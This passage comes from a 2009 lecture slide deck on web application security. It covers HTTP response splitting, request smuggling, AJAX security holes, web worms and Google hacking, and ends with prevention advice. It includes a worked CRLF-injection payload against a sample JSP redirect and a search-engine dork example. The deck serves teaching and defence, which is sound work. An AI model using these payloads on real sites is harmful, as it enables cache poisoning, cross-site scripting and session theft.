Modifying this hidden field value will cause the Web application to charge according to the new amount. Cookie poisoning is also a parameter tampering, where the parameters are stored in a cookie. In many cases cookie poisoning is more useful than other Parameter Tampering attacks because programmers store sensitive information in the allegedly invisible cookie.

References
http://www.imperva.com/resources/glossary/parameter_tampering.html

100

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

Protocol Attacks

101

Copyright (c) 2009 Arun Viswanathan

4/21/2009

1. HTTP Response Splitting

"Divide and Conquer - HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics" by Amit Klein, http://www.sanctuminc.com/pdf/whitepaper_httpresponse.pdf

HTTP Response Splitting is a new application attack technique which

enables various new attacks such as web cache poisoning, cross user defacement, hijacking pages with sensitive user information XSS. The HTTP response splitting vulnerability is the result of the applications failure to reject illegal user input. Specifically, input containing malicious or unexpected CR and LF characters. The essence of HTTP Response Splitting is the attackers ability to send a single HTTP request that forces the web server to form an output stream, which is then interpreted by the target as two HTTP responses instead of one response, in the normal case. HTTP Response Splitting attacks take place where the server script embeds user data in HTTP response headers. This typically happens when the script embeds user data in the redirection URL of a redirection response (HTTP status code 3xx), or when the script embeds user data in a cookie value or name when the response sets a cookie. In the first case, the redirection URL is part of the Location HTTP response header, and in the second cookie setting case, the cookie name/value is part of the Set-Cookie HTTP response header.
102 Copyright (c) 2009 Arun 4/21/2009 Viswanathan

HTTP Response Splitting Example

Consider the following JSP page (lets assume it is located in /redir_lang.jsp): <% response.sendRedirect("/by_lang.jsp?lang=+request.getParameter("lang"));%> STEP 1 : Attacker checks to see if the server is echoing back the lang parameter in the header

The client invokes /redir_lang.jsp with a parameter lang=English, it will redirect to /by_lang.jsp? lang=English. A typical response is as follows:

HTTP/1.1 302 Moved Temporarily Date: Wed, 24 Dec 2003 12:53:28 GMT Location: http://10.1.1.1/by_lang.jsp?lang=English Server: WebLogic XMLX Module 8.1 SP1 Fri Jun 20 23:06:40 PDT 2003 271009 with Content-Type: text/html Set-Cookie: JSESSIONID=1pMRZOiOQzZiE6Y6iivsREg82pq9Bo1ape 7h4YoHZ62RXjApqwB E!-1251019693; path=/ Connection: Close <html><head><title>302 Moved Temporarily</title></head> <body bgcolor="#FFFFFF"> <p>This document you requested has moved temporarily.</p> <p>It's now at <a href="http://10.1.1.1/by_lang.jsp? lang=English">http://10.1.1. 1/by_lang.jsp?lang=English</a>.</p> </body></html>

As can be seen, the lang parameter is embedded in the Location response header.

103

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

HTTP Response Splitting Example (cont..)

STEP 2 : Instead of sending the value lang=English, attacker sends a value, which makes use of URL-encoded CRLF sequences to terminate the current response, and shape an additional one.
/redir_lang.jsp?lang=foobar%0d%0aContentLength:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContentType:%20text/html%0d%0aContentLength:%2019%0d%0a%0d%0a<html>Shazam</html>

STEP 3 : The server now responds with two HTTP responses as follows

104

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

HTTP Response Splitting Example (cont..)


HTTP/1.1 302 Moved Temporarily A first HTTP response, which is a 302 (redirection) Date: Wed, 24 Dec 2003 15:26:41 GMT response. Location: http://10.1.1.1/by_lang.jsp?lang=foobar Content-Length: 0 A second HTTP response, which is a 200 response, with HTTP/1.1 200 OK a content comprising of 19 bytes of HTML. Content-Type: text/html Content-Length: 19 <html>Shazam</html> Server: WebLogic XMLX Module 8.1 SP1 Fri Jun 20 23:06:40 PDT 2003 271009 with Content-Type: text/html Set-Cookie: JSESSIONID=1pwxbgHwzeaIIFyaksxqsq92Z0VULcQUc Superfluous data - everything beyond the end of the AanfK7In7IyrCST9Us second response is superfluous, and does not conform S!-1251019693; path=/ Connection: Close to the HTTP standard and will be ignored by the client. <html><head><title>302 Moved Temporarily</title></head> <body bgcolor="#FFFFFF"> <p>This document you requested has moved temporarily.</p> <p>It's now at <a href="http://10.1.1.1/by_lang.jsp?lang=foobar Content-Length: 0 HTTP/1.1 200 OK Content-Type: text/html Content-Length: 19 &lt;html&gt;Shazam&lt;/html&gt;">http://10.1.1.1/by _lang.jsp?l ang=foobar Content-Length: 0 HTTP/1.1 200 OK Content-Type: text/html Content-Length: 19 105 Copyright (c) 2009 Arun 4/21/2009 &lt;html&gt;Shazam&lt;/html&gt;</a>.</p>

Viswanathan

HTTP Response Splitting Example (cont..)

Assume that the attacker generates 2 requests in Step 3, the requests and responses would be matched as shown below

Request
/redir_lang.jsp?lang=foobar%0d%0aContentLength:%200%0d%0a%0d %0aHTTP/1.1%20200%20OK%0d%0aContentType:%20text/html%0d%0aContentLength:%2019%0d%0a%0d %0a<html>Shazam</html> /index.html

Response
HTTP/1.1 302 Moved Temporarily Date: Wed, 24 Dec 2003 15:26:41 GMT Location: http://10.1.1.1/by_lang.jsp? lang=foobar Content-Length: 0 HTTP/1.1 200 OK Content-Type: text/html Content-Length: 19 <html>Shazam</html>

The attacker has thus successfully fooled the client into accepting a crafted response (2nd one) as a response to the second request !!
106 Copyright (c) 2009 Arun 4/21/2009 Viswanathan

Implications of the above attack

Cross-Site Scripting (XSS):

Until now, it has been impossible to mount XSS attacks on sites through a redirection script when the clients use IE unless the Location header can be fully controlled. With HTTP Response plitting, it is possible to mount a XSS attack even if the Location header is only partially controlled by the attacker. The attacker simply forces the target (i.e. a cache server of some sort) to cache the second response in response to the second request. An example is to send a second request to http://web.site/index.html, and force the target (cache server) to cache the second response that is fully controlled by the attacker. This is effectively a defacement of the web site, at least as experienced by other clients, who use the same cache server. Of course, in addition to defacement, an attacker can steal session cookies, or fix them to a predetermined value.

Web Cache Poisoning (defacement):

107

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

Implications of the above attack

Cross User attacks (single user, single page, temporary defacement):

As a variant of the attack, it is possible for the attacker not to send the second request. This seems odd at first, but the idea is that in some cases, the target may share the same TCP connection with the server, among several users (this is the case with some cache servers). The next user to send a request to the web server through the target will be served by the target with the second response the attacker generated. The net result is having a client of the web site being served with a resource that was crafted by the attacker. This enables the attacker to deface the site for a single page requested by a single user (a local, temporary defacement). Much like the previous item, in addition to defacement, the attacker can steal session cookies and/or set them.

Hijacking pages with user-specific information:

With this attack, it is possible for the attacker to receive the server response to a user request instead of the user. Therefore, the attacker gains access to user specific information that may be sensitive and confidential.

108

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

2. HTTP Request Smuggling


(http://www.cgisecurity.com/lib/HTTP-Request-Smuggling.pdf)

This attack technique, and the derived attacks, are relevant to most web environments and are the result of an HTTP server or devices failure to properly handle malformed inbound HTTP requests. HTTP Request Smuggling works by taking advantage of the discrepancies in parsing when one or more HTTP devices/entities (e.g. cache server, proxy server, web application firewall, etc.) are in the data flow between the user and the web server. HTTP Request Smuggling enables various attacks web cache poisoning, session hijacking, cross-site scripting and most importantly, the ability to bypass web application firewall protection. It sends multiple specially-crafted HTTP requests that cause the two ttacked entities to see two different sets of requests, allowing the hacker to smuggle a request to one device without the other device being aware of it.
109 Copyright (c) 2009 Arun 4/21/2009 Viswanathan

Miscellaneous

110

Copyright (c) 2009 Arun Viswanathan

4/21/2009

1. AJAX Security

Increased Attack Surface


Unlike traditional Web applications that exist almost entirely on the server, Ajax applications extend across the client and server. Such implementations require a trust relationship between the client and servera relationship that can be exploited by an attacker. An Ajax Web application, however, sends many small requests, which create more inputs into the application. These inputs, sometimes called Ajax endpoints, provide more ways for an attacker to get into the application. A Web 2.0 application has several endpoints for Ajax as compared to its predecessor Web 1.0. Potential Ajax calls are scattered all over the browser page and can be invoked by respective events. Not only does this scattering of Ajax calls make it difficult for developers to handle, but also tends to induce sloppy coding practices given the fact that these calls are hidden and not easily obvious.

Information Leakage
The JavaScript in the Ajax engine traps the user commands and makes function calls in clear text to the server. Function calls provide how to information for each user command that is sent. This information, being sent in clear text, in essence places the attacker inside the application. From this vantage point, the attacker possesses function names, variable names, function parameters, return types, data types, and valid data ranges.

111

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

AJAX Security (cont..)

Repudiation of Requests

Browser requests and Ajax engine requests look identical. This fact means it is very difficult for an individual to prove that they did not do a certain action. It also means that JavaScript can make a request for a resource using Ajax that occurs in the background without the users knowledge. The browser will automatically add the necessary authentication or state-keeping information such as cookies to the request. With Ajax, XSS can make malicious requests with a users credentials, without refreshing the Web page. Such activity drastically increases the damage and theft of information capable through XSS. With Ajax applications, XSS can propagate like a virus. The XSS payload can use Ajax requests to autonomously inject itself into pages, and easily reinject the same host with more XSS, all of which can be done with no hard refresh. Thus, XSS can send multiple requests using complex HTTP methods to propagate itself invisibly to the user.

AJAX Amplifies XSS


Untrusted Information Sources

Web 2.0 applications fetch information from various untrusted sources such as feeds, blogs, search results. This content is never validated prior to being served to the end browser, leading to cross-site exploitation. It is also possible to load JavaScript in the browser that forces the browser to make cross-domain calls and opens up security holes. This can be lethal and leveraged by virus and worms. Copyright (c) 2009 Arun 4/21/2009 Viswanathan

112

AJAX Security (cont..)

AJAX Bridging

AJAX Bridging is a technique used to circumvent the same-origin policy. In a bridge, a host provides a Web service that acts as a proxy to forward traffic between the JavaScript running on the client and the third-party site. A bridge could be considered a Web service to Web service connection. An Ajax bridge can connect to any Web service on any host using SOAP or REST. An attacker can abuse bridging by sending malicious requests through the bridge to the other end. Bridges provide attackers with another layer to hide behind. Browsers can invoke an Ajax call and perform data serialization. It can fetch JS array, Objects, Feeds, XML files, HTML blocks and JSON. If any of these serialization blocks can be intercepted and manipulated, the browser can be forced to execute malicious scripts. Data serialization with untrusted information can be a lethal combination for end-user security. Ajax opens up a backend channel and fetches information from the server and passes it the DOM. In order to achieve this one of the requirements is the dynamic execution of JavaScripts update the state of the DOM or the browsers page memory. This is achieved by calling customized functions or the eval() function. The consequence not validating content or of making an insecure call can range from a session compromise the execution of malicious content. to to of to

Data serialization

Dynamic script construction & execution


113

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

10 AJAX Security Holes


(http://www.net-security.org/article.php?id=956&p=1 )

1.

Malformed JS Object serialization


A JS object can have both data and methods. Improper usage of JS object serialization can open up a security hole that can be exploited by crafty packet injection code.
message = { from : john@example.com, to : jerry@victim.com, subject : "I am fine, body : "Long message here, showsubject : function(){document.write(this.subject)} };

The programmer can either assign the above to a variable and process it or make eval(). If an attacker sends a malicious subject line embedded with script then it makes the reader a victim of cross-site scripting attacks.

1.

JSON Pair Injection


Serialization of JSON is a very effective exchange mechanism in Web 2.0 applications. Developers choose JSON over Ajax very frequently and fetch and pass required information to the DOM. Consider {"bookmarks":[{"Link":"www.example.com","Desc":"Interesting link"}]} It is possible to inject a malicious script in either Link or Desc. If it gets injected into the DOM and executes, it falls into the XSS category.

114

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

10 AJAX Security Holes (cont..)


1.

JS Array Poisoning

JS array is another very popular object for serialization. Poisoning a JS array spoils the DOM context. A JS array can be exploited with simple cross-site scripting in the browser. Here is a sample JS array: new Array(Laptop, Thinkpad, T60, Used, 900$, It is
great and I have used it for 2 years)

If this array object is not properly sanitized on the server-side, a user can inject a script in the last field. This injection can compromise the browser and can be exploited by an attack agent. An Ajax call consumes XML from various locations. These XML blocks originate from Web services running on SOAP, REST or XML-RPC. These Web services are consumed over proxy bridges from third-parties. If this third-party XML stream is manipulated by an attacker then the attacker can inject malformed content. XML consumption in the browser without proper validation can compromise the end-client.

2.

Manipulated XML Stream

115

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

10 AJAX Security Holes (cont..)


1.

Script Injection in DOM


Once the serialized stream of object is received in the browser, developers make certain calls to access the DOM. The objective is to repaint or recharge the DOM with new content. This can be done by calling eval(), a customized function or document.write(). If these calls are made on untrusted information streams, the browser would be vulnerable to a DOM manipulation vulnerability. For example, consider this line of JavaScript code, document.write(product-review), Here, Product-review is a variable originating from a third-party blog. If it contains JavaScript, it will get executed in the browser.

2.

Cross-domain access and callback


A way to get around the cross-domain restriction is to use a object-serialization mechanism with callback mechanism (eg. JSONP). Developers can use this callback mechanism to integrate Web services in the browser itself. The callback function name can be passed back so that as soon as the callback object stream is retrieved by the browser it gets executed by the specific function name originally passed from the browser. This callback puts an extra burden on developers to have in-browser validation. If the incoming object stream is not validated by the browser then developers are putting the end clients fate at the mercy of cross-domain targets. Intentionally or unintentionally, this cross domain service can inject malicious content into the browser.

116

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

10 AJAX Security Holes (cont..)


1.

RSS and Atom Injection

Syndicated feeds, RSS and Atom, are one of the most popular ways of passing site-updated information over the Internet. A feed is a standard XML document and can be consumed by any application which are accessed using AJAX calls by applications. These feeds are parsed and injected into the DOM. But if the feed is not properly validated prior to injecting it into the DOM, it is possible to inject a malicious link or JavaScript code into the browser.

2.

One-Click Bomb

A malicious link with onclick can be injected with JavaScript. In this case, the browser is sitting on an exploit bomb waiting for the right event from the end-user to trigger the bomb. The exploit succeeds if that particular event is fired by clicking the link or button. This can lead to session hijacking through malicious code.

117

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

10 AJAX Security Holes (cont..)


1.

Flash Based Cross domain access


It is possible to make GET and POST requests from JavaScript within a browser by using a Flash plugins Ajax interface. This also enables cross-domain calls to be made from any particular domain. To avoid security concerns, the Flash plugin has implemented policy-based access to other domains. This policy can be configured by placing the file crossdomain.xml at the root of the domain. If this file is left poorly configured as is quite often the case it opens up the possibility of cross-domain access.

2.

Cross Site Request Forgery

References
1. 2. 3. 4. 5.

Billy Hoffman, AJAX (in)security: http://h71028.www7.hp.com/enterprise/downloads/BillyHoffman-Ajax(in)security.pdf Resources for AJAX Security Issues : http://www.cgisecurity.com/ajax-security.html AJAX and MASHUP Security : http://www.openajax.org/whitepapers/Ajax%20and%20Mashup%20Security.php AJAX Security Resources : http://www.openajax.org/member/wiki/Ajax_Security_Resources Top 10 AJAX Security Issues and driving factors: http://www.net-security.org/article.php?id=956&p=1

118

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

2. AJAX Worms

Yamanner

(http://www.symantec.com/avcenter/reference/malicious.yahooligans.pdf (2006) )

Yamanner or (JS.Yamanner@m) was the first email worm that spread through Yahoo! Mails Webmail interface and used AJAX calls. It used the Webmail interface both to collect addresses and to email itself to others. Furthermore, JS.Yamanner@m did not require a user to execute a file. Instead, the worm took advantage of a vulnerability in Yahoo! Mail so that merely by opening an infected mail message for reading, the user would cause the worm to execute and begin sending itself to addresses with which the infected user had corresponded in the past. Once the user reads the email, the JavaScript code of the worm begins executing via the unfiltered onload handler. The worm utilizes AJAX, running under the context of yahoo.com and the currently logged on user session, the worm has the ability to parse the web page and make the same HTTP queries as if the user had clicked on items in the webmail interface. Smartly, the worm uses AJAX for the HTTP queries. If the worm had not used AJAX, any HTTP queries would have resulted in another page loading, which would be more likely to be noticeable to the user, as well as putting the calling JavaScript code out of scope. By using AJAX, the worm can issue multiple HTTP queries in order to find email addresses and send itself all under the covers without changing the page. To collect email addresses, JS.Yamanner@m sends an HTTP query as if someone had selected the QuickBuilder functionality in Yahoo! Mail using AJAX so the page does not refresh. QuickBuilder is a Yahoo! Mail feature that searches all your mail in selected folders for any email addresses that are not already part of your address book. The purpose of this feature is to allow you to build your address book quickly.

MySpace SAMY (2005) We already looked at this earlier.

119

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

3. Google Hacking

When a search engine indexes a site, it is also inadvertently providing a treasure trove of information for potential attackers. Directory listings, error pages, hidden login pagesall of these can be indexed, and even cached, via search engines. Google Hacking is a process of using crawl data that has already been collected and indexed to look for vulnerabilities, and not an attempt to find a vulnerability in Google itself. Google provides extra operators which can be utilized to strengthen results. (
http://www.google.com/help/operators.html)

For example, searching using intitle: index.parent of. Directory will show you all websites that have directory listing enabled OR have forgotten to disable . Combine this with the site: operator and we have a potent tool to find potential secrets about a website. As defined by Johnny Long in his hacking database: googledorks are Inept or foolish people as revealed by Google. Technically, dorks are search patterns that reveal sites with potential vulnerabilities. An example dork from the hacking database is "intitle:admin intitle:login" which gives Admin Login pages. Now, the existence of this page does not necessarily mean a server is vulnerable, but it sure is handy to let Google do the discovering for you. It is obviously one of the first places one would start looking for hacking a web server.

References
1. 2.

Preventing Google Hacking http://whitepapers.theregister.co.uk/paper/view/632/4aa1-5395enw-preventing-google-hacking.pdf URL : http://n30bli7z.blogspot.com/2008/02/google-scanner-from-cdc.html

120

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

4. Search Worms

Search worms automate finding of vulnerable web servers by sending carefully crafted queries to search engines. Such worms spread by using popular search engines to find new attack vectors. Note that this eliminates the need for worms to randomly scan hosts in the network to find targets. This also helps them evade common detection methods. These worms not only put significant load on search engines, they also evade detection mechanisms that assume random scanning. Search Worms work as follows:

Generate Search Query Analyze Search Results Infect Identified Targets

References
1.

Provos, N., McClain, J., and Wang, K. 2006. Search worms. In Proceedings of the 4th ACM Workshop on Recurring Malcode (Alexandria, Virginia, USA, November 03 - 03, 2006). WORM '06. ACM, New York, NY,

121

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

Search Worm Examples

MyDoom.O (July 2004)

MyDoom was a worm that propagated via email. The email claims to be from a companys support department and contains an executable file as an attachment. When a user executes it, the worm gets activated and searches the local hard disk for email addresses of other users to infect. As a result, the worm propagates along the social network of the infected users. MyDoom.O uses the domain names of email addresses to search for more email addresses on Internet search engines. It first started spreading on July 26th, 2004 and managed to infect about 60,000 hosts in less than 8 hours. MyDoom.O used the following search engines, weighted by their respective probabilities: Google (45%), Lycos (22.5%), Yahoo (20%) and Altavista (12.5%). It was the first search worm to propagate automatically, without any human intervention. It is written in Perl and exploits a bug in the phpBB bulletin system that allows an adversary to run arbitrary code on the web server. To find vulnerable servers to infect, it uses Google to search for URLs that contain the string viewtopic.php. To infect a web server, Santy appends an exploit against phpBB2 to each URL extracted from the search results. The exploit instructs the web server to download the Santy worm from a central distribution site.
Copyright (c) 2009 Arun 4/21/2009 Viswanathan

Santy (Dec 2004)


122

Conclusions

123

Copyright (c) 2009 Arun Viswanathan

4/21/2009

Detection and Prevention

The last 120 slides took a quick look at the kinds of issues that face web security today. Be assured that this is just a sign of things to come. Almost all of the attacks are possible because of a very simple problem : Unvalidated Input!!! Easy to say but how do we detect and prevent it? Answer: There is no Silver Bullet but we can start with some good practices. Good Practices

Follow secure coding / design and process guidelines for web applications.

http://www.owasp.org/index.php/Category:OWASP_Guide_Project http://www.owasp.org/index.php/Category:OWASP_Code_Review_Project

Perform static / dynamic analysis of your code to detect possible issues.

Make sure that all your web applications are thoroughly tested before being released. The following OWASP Project has a detailed testing methodology for each category of attacks that we covered.

http://www.owasp.org/index.php/Category:OWASP_Testing_Project

124

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

Parting thoughts..

We have just seen the tip of the iceberg. There is tons to cover on this issue and will require a semesters worth of course to do full justice and understand all implications. The moral of the story is that, these issues keep coming up again and again because developers are either never aware of these issues or there is no incentive for them to think about these when developing an application. According to me, the university is the right place to create awareness about such issues. My sincerest requests to the professors to introduce such a course.

THANK YOU FOR YOUR PATIENCE


The individualist without strategy who takes opponents lightly will inevitably become the captive of others. The Art of War, Sun Tzu

125

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

Appendix

126

Copyright (c) 2009 Arun Viswanathan

4/21/2009

A Session ID primer

HTTP is a stateless protocol. In order to overcome this problem, web servers or sometimes web applications implement various kinds of session management. The basic idea behind web session management is that the server generates a session identifier (ID) at some early point in user interaction, sends this ID to the users browser and makes sure that this same ID will be sent back by the browser along with each subsequent request. Session IDs thereby become identification tokens for users, and servers can use them to maintain session data (e.g., variables) and create a session-like experience to the users. There are three widely used methods for maintaining sessions in web environment:

URL arguments, Hidden form fields Cookies

127

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

A Session ID primer (cont..)

Very often, session IDs are not only identification tokens, but also authenticators. This means that upon login, users are authenticated based on their credentials (e.g., usernames/passwords or digital certificates) and issued session IDs that will effectively serve as temporary static passwords for accessing their sessions. Thus they become lucrative target for hackers. Web session security is focused on preventing three types of attacks against session IDs: interception, prediction and brute-force attacks.

Encrypted communication effectively protects against interception Using cryptographically strong pseudorandom number generators and carefully chosen seeds that dont leak from the server prevents prediction of session IDs. Finally, session IDs are immune to brute-force methods if their effective bit-length is large enough with respect to the number of simultaneous sessions.

References

Mitja Kolsek. Session Fixation Vulnerability in Web-based Applications URL: http://www.acrossecurity.com/papers/session_fixation.pdf

128

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

Same-Origin Policy

( http://www.openajax.org/whitepapers/Ajax%20and%20Mashup%20Security.php http://en.wikipedia.org/wiki/Same_origin_policy )

Browsers implement the same-origin policy as a protection mechanism in order to isolate Web applications coming from different domains from each other, under an assumption that different domains represent different originators. As a result, if applications in multiple windows or frames are downloaded from different servers, they will not be able to access each other's data and scripts. Note that the same-origin policy only applies to HTML documents. Resource files, such as JavaScript files and images, can be imported into an HTML document (e.g., <script src="..." >) from other domains, but operate within the context of the host HTML document and are regarded as part of the same-origin as the HTML document. The term "origin" is defined using the domain name, application layer protocol, and (in most browsers) TCP port of the HTML document running the script. Two resources are considered to be of the same origin if and only if all these values are exactly the same. An important extension to the same origin policy implemented for JavaScript DOM access (but not for most of the other flavors of same-origin checks) is that two sites sharing a common top-level domain may opt to communicate despite failing the "same host" check by mutually setting their respective document.domain DOM property to the same qualified, right-hand fragment of their current host name. For example, if http://en.example.com/ and http://fr.example.com/ both set document.domain to "example.com", they would be from that point on considered sameorigin for the purpose of DOM manipulation.

129

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

Bypassing the Same-Origin policy


http://www.openajax.org/whitepapers/Ajax%20and%20Mashup%20Security.php )

1.

JSON and the dynamic SCRIPT tag

JSON with Padding (JSONP) is a way to bypass the same-origin policy by using JSON in combination with the <script> tag.
<script type="text/javascript" src="http://travel.com/findItinerary?username=sachiko& reservationNum=1234&output=json&callback=showItinerary" />

When JavaScript code dynamically inserts the <script> tag, the browser accesses the URL in the src attribute. This results in sending the information in the query string to the server. In the above example, the username and reservationNum are passed as name-value pairs. In addition, the query string contains the output format requested to the server and the name of the callback function (that is, showItinerary). In this case, the URL returns a JSONP string which is a JSON string wrapped by the callback function. When the <script> tag loads, the function executes, and the information returned from the server passes to it through its arguments.

A better example is at http://www.west-wind.com/Weblog/posts/107136.aspx

130

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

Bypassing Same-Origin Policy (cont..)


1.

Ajax Proxy

An Ajax proxy is an application-level proxy server that mediates HTTP requests and responses between Web browsers and servers. Ajax proxies allow Web browsers to bypass the same-origin policy and therefore to access third-party servers using XMLHttpRequest.

2.

Browser Extensions and Plugins

Browser extensions sometimes implement their own approaches to Web security, which often broadens the attack surface available to malicious sites either by enabling looser security policies and/or by allowing determined hackers to leverage loopholes or bugs within a particular extension. For example, the GreaseMonkey extension to Firefox adds an API called GM_XMLHttpRequest, which is basically XMLHttpRequest without the same-origin policy.

131

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

Additional References

132

Copyright (c) 2009 Arun Viswanathan

4/21/2009

References
1. 2. 3. 4. 5. 6. 7. 8. 9. 10. 11. 12. 13. 14. 15. 16. 17. 18. 19.

Web Hacking Incidents Database URL: http://www.xiom.com/whid DataLossDB URL: http://datalossdb.org/ Data Loss Cost Calculator URL: http://www.tech-404.com/calculator.html Attack Surface Measurement (http://www.cs.cmu.edu/~pratyus/as.html ) The page of Spafs Analogies (http://homes.cerias.purdue.edu/~tripunit/spaf-analogies.html ) Symantec Internet Threat Report 2009 (http://www.symantec.com/business/theme.jsp?themeid=threatreport ) White Hat Security Web Security Report Dec 2008 (https://whitehatsec.market2lead.com/go/whitehatsec/WPstats1208 ) Finjan Security Analysis of Trojan.Asprox (http://www.finjan.com/MCRCblog.aspx?EntryId=2002 ) Top 5 Web security Myths (http://www.whitehatsec.com/home/resource/whitepapers/website_security_myths.html ) iDefense: Brute-Force Exploitation of Web Application Session IDs, By David Endler iDEFENSE Labs ( http://www.cgisecurity.com/lib/SessionIDs.pdf ) "Blind XPath Injection" Amit Klein, May 2004 http://www.packetstormsecurity.com/papers/bypass/Blind_XPath_Injection _20040518.pdf "Divide and Conquer - HTTP Response Splitting, Web Cache Poisoning Attacks, and Other Topics" Amit Klein, March 2004 http://www.packetstormsecurity.org/papers/general/whitepaper_httpresponse.pdf Secure Coding Practices for Microsoft ASP.NET" Amit Klein, July 2003 http://www.cgisecurity.com/lib/WhitePaper_Secure_Coding_Practices_VSdotNET.pdf "Developing Secure Web Applications Just Got Easier" Amit Klein, March 2003 http://www.zone-h.org/files/34/devsecureappsjustgoteasier.pdf "Developing Secure Web Applications" Izhar Bar-Gad and Amit Klein, June 2002 http://www.cgisecurity.com/lib/WhitePaper_DevelopingSecureWebApps.pdf "Cross Site Scripting Explained" Amit Klein, May 2002 http://crypto.stanford.edu/cs155/CSS.pdf "Hacking Web Applications Using Cookie Poisoning" Amit Klein, April 2002 http://www.cgisecurity.com/lib/CookiePoisoningByline.pdf "Hacker Repellent: Deterring Hackers On a Shoestring Budget" Amit Klein, April 2002 http://www.secinf.net/uplarticle/1/Hack_Repellent.pdf XSS Cheat Sheet : http://ha.ckers.org/xss.html

133

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

Вам также может понравиться